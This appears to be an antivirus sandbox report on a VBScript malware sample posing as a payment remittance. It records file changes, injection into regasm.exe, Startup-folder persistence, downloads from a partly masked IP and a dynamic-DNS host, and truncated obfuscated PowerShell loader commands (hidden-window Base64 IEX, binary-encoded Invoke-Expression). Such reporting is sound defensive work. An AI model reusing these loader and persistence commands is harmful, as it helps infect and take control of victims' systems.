Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %TEMP%\new payment remittance.vbs
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\cqjJQ.bat" "
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Modifies file system
Creates the following files
- %APPDATA%\cqjjq.bat
- %TEMP%\new payment remittance.vbs
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012022040420220405\index.dat
Deletes the following files
- %APPDATA%\cqjjq.bat
Modifies the following files
- %TEMP%\javadeployreg.log
Network activity
Connects to
- '96.##.235.202':80
- 'ju#####19.dvrlists.com':5050
TCP
HTTP GET requests
- http://96.##.235.202/money3.vbs
- http://96.##.235.202/money2.txt
- http://96.##.235.202/favicon.ico
- http://96.##.235.202/money.jpg
UDP
- DNS ASK ju#####19.dvrlists.com
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='BE84'.replace('B','I').replace('84','x');sal g $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,011001...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\New Payment Remittance.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\New Payment Remittance.vbs'' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHdlMjI9J2VXLnRlTiB0YycgKyAnZWpiTy13ZU4oJzsgJGI0ZGY9J29sbndvRC4pdG5laScgKyAnbENiJzsgJGMzPScpJy...
- '<SYSTEM32>\wscript.exe' "%TEMP%\New Payment Remittance.vbs"
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='BE84'.replace('B','I').replace('84','x');sal g $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,011001...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\New Payment Remittance.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\New Payment Remittance.vbs'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
